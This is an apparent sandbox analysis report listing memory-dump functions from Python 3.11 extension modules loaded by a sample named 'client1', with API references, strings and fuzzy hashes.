PyMem_Free.PYTHON311 ref: 00007FFBAA6F5AB7
PyMem_Free.PYTHON311 ref: 00007FFBAA6F5ACA
PyMem_Free.PYTHON311 ref: 00007FFBAA6F5ADC
PyMem_Free.PYTHON311 ref: 00007FFBAA6F5AED
PyMem_Free.PYTHON311 ref: 00007FFBAA6F5B00
PyMem_Free.PYTHON311 ref: 00007FFBAA6F5B13
PyMem_Free.PYTHON311 ref: 00007FFBAA6F5B25

Part of subcall function 00007FFBAA6FEF80: memmove.VCRUNTIME140(?,?,?,00007FFBAA711067), ref: 00007FFBAA6FEFE2

PyMem_Free.PYTHON311 ref: 00007FFBAA6F5B36

Strings

0, xrefs: 00007FFBAA6F5956

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: FreeMem_$memmove
String ID: 0
API String ID: 1110261380-4108050209
Opcode ID: 578dc20f3f21576e8635ac31585abfacd8f4d8398d0bf0b0a976cab2b38d83de
Instruction ID: 41f5b8f271904d105367cb236e0d197664c3ea986dfb2bb17ceadeee6a4b3658
Opcode Fuzzy Hash: 578dc20f3f21576e8635ac31585abfacd8f4d8398d0bf0b0a976cab2b38d83de
Instruction Fuzzy Hash: 88A1E2A2E19781C4E712CF74E8503FE2B64FB85B84F442176EE8D12A5ADF38D54ACB10

Function 00007FFBAA70F364 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA70F3B9
_Py_Dealloc.PYTHON311 ref: 00007FFBAA70F4C4
_Py_Dealloc.PYTHON311 ref: 00007FFBAA716BFD
PyErr_SetString.PYTHON311 ref: 00007FFBAA716C1A

Strings

O|O, xrefs: 00007FFBAA70F394
optional argument must be a context, xrefs: 00007FFBAA716C10

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_Err_KeywordsParseStringTuple
String ID: O|O$optional argument must be a context
API String ID: 2016884933-2061368271
Opcode ID: 574a8ccfe6566982d4148d17103293e808cfc1d4d4060992ebbec751c0671dbf
Instruction ID: 72a2b5b1c419f923bd1040ed63fa97112c0ba87ddbc44f62a6cb2c8bf67576c2
Opcode Fuzzy Hash: 574a8ccfe6566982d4148d17103293e808cfc1d4d4060992ebbec751c0671dbf
Instruction Fuzzy Hash: E7512BB2A0AB02D4EB128F75D8500BE37A8EB44B98B4454B2DE4D676A5DE3CE147C360

Function 00007FFBAA6F12CC Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA6F1321
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F1419
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F143F
PyErr_SetString.PYTHON311 ref: 00007FFBAA7110BE

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA7110A1

Strings

O|O, xrefs: 00007FFBAA6F12FC
optional argument must be a context, xrefs: 00007FFBAA7110B4

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_ContextErr_KeywordsParseStringTupleVar_
String ID: O|O$optional argument must be a context
API String ID: 3219279049-2061368271
Opcode ID: a241f30da18124602282b36e2f4db3156f825cf5067a90acde80afe06cafb2da
Instruction ID: 935f3d87757fb87de1674df75539a232c7a8e286e2c0d6b1e3845dae3e05f81d
Opcode Fuzzy Hash: a241f30da18124602282b36e2f4db3156f825cf5067a90acde80afe06cafb2da
Instruction Fuzzy Hash: CE513CB2E1AA02C4EB168F75D8500BD27A8BB44B98F4410B6DF0D17AA5DE3CE54B8760

Function 00007FFBAA6F1764 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA6F17B9
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F18B1
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F18D7
PyErr_SetString.PYTHON311 ref: 00007FFBAA7111C6

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA7111A9

Strings

O|O, xrefs: 00007FFBAA6F1794
optional argument must be a context, xrefs: 00007FFBAA7111BC

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_ContextErr_KeywordsParseStringTupleVar_
String ID: O|O$optional argument must be a context
API String ID: 3219279049-2061368271
Opcode ID: ab999bfe57dcf0f4dce92a34d45723871f4fc948754a0e840bb376c75d37db95
Instruction ID: 63f6fd7e0ee12bfeabaeaf8d4671ec7e946ffc8f7097d77ca5a934a31eb41150
Opcode Fuzzy Hash: ab999bfe57dcf0f4dce92a34d45723871f4fc948754a0e840bb376c75d37db95
Instruction Fuzzy Hash: C8515BB1E0AB02C5FB128F75D9500BE67A8BB44B98B441172DE0D177A4DF3CE54AC760

Function 00007FFBAA70EC8C Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA70ECE1
_Py_Dealloc.PYTHON311 ref: 00007FFBAA70EDD9
_Py_Dealloc.PYTHON311 ref: 00007FFBAA70EDFF
PyErr_SetString.PYTHON311 ref: 00007FFBAA716A8A

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA716A6D

Strings

O|O, xrefs: 00007FFBAA70ECBC
optional argument must be a context, xrefs: 00007FFBAA716A80

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_ContextErr_KeywordsParseStringTupleVar_
String ID: O|O$optional argument must be a context
API String ID: 3219279049-2061368271
Opcode ID: cc8f777678b49610bb8c6ee1ee4a4c312f086dd662901ee9ca0687c12df104ef
Instruction ID: 02aa56e0dbb51440c48e14204a4239e4a6a35e73d8aeeb3152ea149170e2d81a
Opcode Fuzzy Hash: cc8f777678b49610bb8c6ee1ee4a4c312f086dd662901ee9ca0687c12df104ef
Instruction Fuzzy Hash: 44512DB1A0AA02D4FB129F75E8500BE27B8EB44B98B440072DE0D277A5DF3CE546C360

Function 00007FFBAA6F1454 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA6F14A9
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F15A1
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F15C7
PyErr_SetString.PYTHON311 ref: 00007FFBAA711116

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA7110F9

Strings

O|O, xrefs: 00007FFBAA6F1484
optional argument must be a context, xrefs: 00007FFBAA71110C

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_ContextErr_KeywordsParseStringTupleVar_
String ID: O|O$optional argument must be a context
API String ID: 3219279049-2061368271
Opcode ID: b846fa4a5d7939c81dc4ec99d25748bc181cfee3e508912f3e3e4c184f5e83f3
Instruction ID: 2413605dc8a0544bc19256495142ac12c71415cedef5fa5d4474e22a8eb59838
Opcode Fuzzy Hash: b846fa4a5d7939c81dc4ec99d25748bc181cfee3e508912f3e3e4c184f5e83f3
Instruction Fuzzy Hash: A6514DB1E1AA02C5EB128F75D8500BE37A8BB45B98B441072DF0E176A5DF3DE54AC760

Function 00007FFBAA6F1EFC Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA6F1F51
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F201B
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F2052
PyErr_SetString.PYTHON311 ref: 00007FFBAA71137E

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA711361

Strings

O|O, xrefs: 00007FFBAA6F1F2C
optional argument must be a context, xrefs: 00007FFBAA711374

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_ContextErr_KeywordsParseStringTupleVar_
String ID: O|O$optional argument must be a context
API String ID: 3219279049-2061368271
Opcode ID: 19533874d08f7c2fc8b94f5bd85e940f0e443b2d42272517b40c78f9ac2bec4c
Instruction ID: f83443e8c4e20b104641afbb685dbb5907db00b8add81ed1a639878e6e318274
Opcode Fuzzy Hash: 19533874d08f7c2fc8b94f5bd85e940f0e443b2d42272517b40c78f9ac2bec4c
Instruction Fuzzy Hash: A3512EB2E0AB02C4EB128F79D8500BD37A8BB48B98B441076DE5D17665DF3DE54BCB60

Function 00007FFBAA6F1BF4 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA6F1C49
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F1D13
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F1D4A
PyErr_SetString.PYTHON311 ref: 00007FFBAA7112CE

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA7112B1

Strings

O|O, xrefs: 00007FFBAA6F1C24
optional argument must be a context, xrefs: 00007FFBAA7112C4

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_ContextErr_KeywordsParseStringTupleVar_
String ID: O|O$optional argument must be a context
API String ID: 3219279049-2061368271
Opcode ID: ffb6b960d61a31724b55b6c081cf373cb344c0d0d53ec74fbf3cad31bedf7cee
Instruction ID: becb9dbbb225694e7d0eb0efdd3e0e6da3497372748b2bce60108d20c278b0e8
Opcode Fuzzy Hash: ffb6b960d61a31724b55b6c081cf373cb344c0d0d53ec74fbf3cad31bedf7cee
Instruction Fuzzy Hash: F3512CB2E0AA02C4EB128F79D8500BE27B8FB48B98B441076DE0D57665DF3DE54BC760

Function 00007FFBAA6F2080 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA6F20D5
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F219F
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F21EF
PyErr_SetString.PYTHON311 ref: 00007FFBAA7113D6

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA7113B9

Strings

O|O, xrefs: 00007FFBAA6F20B0
optional argument must be a context, xrefs: 00007FFBAA7113CC

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_ContextErr_KeywordsParseStringTupleVar_
String ID: O|O$optional argument must be a context
API String ID: 3219279049-2061368271
Opcode ID: 144fd626d661ad61bd7f3fab93573c628bc4b77aa65777795e4af42777ad9545
Instruction ID: dc4e91070dd7584763daec9f88f61275dd207353328fdff9e2d354c88c5b2979
Opcode Fuzzy Hash: 144fd626d661ad61bd7f3fab93573c628bc4b77aa65777795e4af42777ad9545
Instruction Fuzzy Hash: D4511EB1E0AA02D4EF129F75DC500BE27B8BB48B94B441076DF0D17669DE3CE54ACB64

Function 00007FFBAA70F128 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA70F17D
PyErr_SetString.PYTHON311 ref: 00007FFBAA716BA2

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA70F247
_Py_Dealloc.PYTHON311 ref: 00007FFBAA70F297
_Py_Dealloc.PYTHON311 ref: 00007FFBAA716B85

Strings

O|O, xrefs: 00007FFBAA70F158
optional argument must be a context, xrefs: 00007FFBAA716B98

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_ContextErr_KeywordsParseStringTupleVar_
String ID: O|O$optional argument must be a context
API String ID: 3219279049-2061368271
Opcode ID: 6f414346e7b95e70e0ab35dc629cea110c72f8eeeb694970f28da25fcffa6397
Instruction ID: d4ab4c9e74f96e151ae8c03b454932c170921756b120bcfeccb061964f8be695
Opcode Fuzzy Hash: 6f414346e7b95e70e0ab35dc629cea110c72f8eeeb694970f28da25fcffa6397
Instruction Fuzzy Hash: 28511CB6E0AB02D4EB128F75D8500BE27A8BB48B98B540472DE4D27669DF3CE547C364

Function 00007FFBAA6F18EC Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA6F1941
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F1A0B
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F1A42
PyErr_SetString.PYTHON311 ref: 00007FFBAA71121E

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA711201

Strings

O|O, xrefs: 00007FFBAA6F191C
optional argument must be a context, xrefs: 00007FFBAA711214

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_ContextErr_KeywordsParseStringTupleVar_
String ID: O|O$optional argument must be a context
API String ID: 3219279049-2061368271
Opcode ID: 5f6c06ac62897f5fab9e98e8ec98f0c6eb285b5602e67e0a2f60853e5626fac4
Instruction ID: 45cd6dd4578c052d900b2dcbdc6fc2201f481d30b5f52cc51b6ee543cba07723
Opcode Fuzzy Hash: 5f6c06ac62897f5fab9e98e8ec98f0c6eb285b5602e67e0a2f60853e5626fac4
Instruction Fuzzy Hash: 71510DB1E0AB02C4EB128F75D8500BD27A8FB49B98B4410B7DE4D57669DF3CE54AC760

Function 00007FFBAA70F52C Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA70F57D
PyErr_SetString.PYTHON311 ref: 00007FFBAA716CB0

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA70F667
_Py_Dealloc.PYTHON311 ref: 00007FFBAA716C93

Strings

O|O, xrefs: 00007FFBAA70F564
optional argument must be a context, xrefs: 00007FFBAA716CA6

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_ContextErr_KeywordsParseStringTupleVar_
String ID: O|O$optional argument must be a context
API String ID: 3219279049-2061368271
Opcode ID: 37d7a4b5c7b375be109cd562857698cbc24862b68caa231ab8609c38e56e2630
Instruction ID: cc24b9a84622b7e5872fbbfe900241a13d7966cb084b0fc7b75c3cde8cd58fc0
Opcode Fuzzy Hash: 37d7a4b5c7b375be109cd562857698cbc24862b68caa231ab8609c38e56e2630
Instruction Fuzzy Hash: 7B413EB2A0AB02D4EB129F75D8504BA3BBCEB48B98B441176DE0D137A5DE3DE547C360

Function 00007FFBAB499DD0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PyDict_GetItemWithError.PYTHON311 ref: 00007FFBAB499E08
PyErr_Occurred.PYTHON311 ref: 00007FFBAB499E16
PyErr_SetObject.PYTHON311 ref: 00007FFBAB499E2E
PyObject_GetItem.PYTHON311 ref: 00007FFBAB499E3B
PyObject_Vectorcall.PYTHON311 ref: 00007FFBAB499E5D
_Py_Dealloc.PYTHON311 ref: 00007FFBAB499E6F
_Py_Dealloc.PYTHON311 ref: 00007FFBAB499EAF

Strings

feed, xrefs: 00007FFBAB499EC2
bool, xrefs: 00007FFBAB499E8A

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: DeallocErr_ItemObject_$Dict_ErrorObjectOccurredVectorcallWith
String ID: bool$feed
API String ID: 2902451266-2849697477
Opcode ID: 5fb1090c9fbe94a1abe1cc5096318bf41d88c1455b742f9e041b56343bd14805
Instruction ID: 984e0cc947a455c6978f26ccb129819cf40240d73668c22629367d2aea137cb7
Opcode Fuzzy Hash: 5fb1090c9fbe94a1abe1cc5096318bf41d88c1455b742f9e041b56343bd14805
Instruction Fuzzy Hash: F6411EB5A0BA0292EE629F76E49527D63A0FF48B84F18C135DE6E077B5DF2CE4408350

Function 00007FFBAA731000 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 61COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON311 ref: 00007FFBAA73359B
_PyArg_BadArgument.PYTHON311 ref: 00007FFBAA7335C2
_PyUnicode_Ready.PYTHON311 ref: 00007FFBAA7335CF
_PyArg_BadArgument.PYTHON311 ref: 00007FFBAA7335F7
_PyUnicode_Ready.PYTHON311 ref: 00007FFBAA733604

Part of subcall function 00007FFBAA731090: PyUnicode_CompareWithASCIIString.PYTHON311 ref: 00007FFBAA7310BD
Part of subcall function 00007FFBAA731090: PyUnicode_CompareWithASCIIString.PYTHON311 ref: 00007FFBAA7310D5
Part of subcall function 00007FFBAA731090: PyType_IsSubtype.PYTHON311 ref: 00007FFBAA7310FD

Strings

normalize, xrefs: 00007FFBAA73358E, 00007FFBAA7335B4, 00007FFBAA7335E9
str, xrefs: 00007FFBAA7335AD, 00007FFBAA7335E2
argument 1, xrefs: 00007FFBAA7335BB
argument 2, xrefs: 00007FFBAA7335F0

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
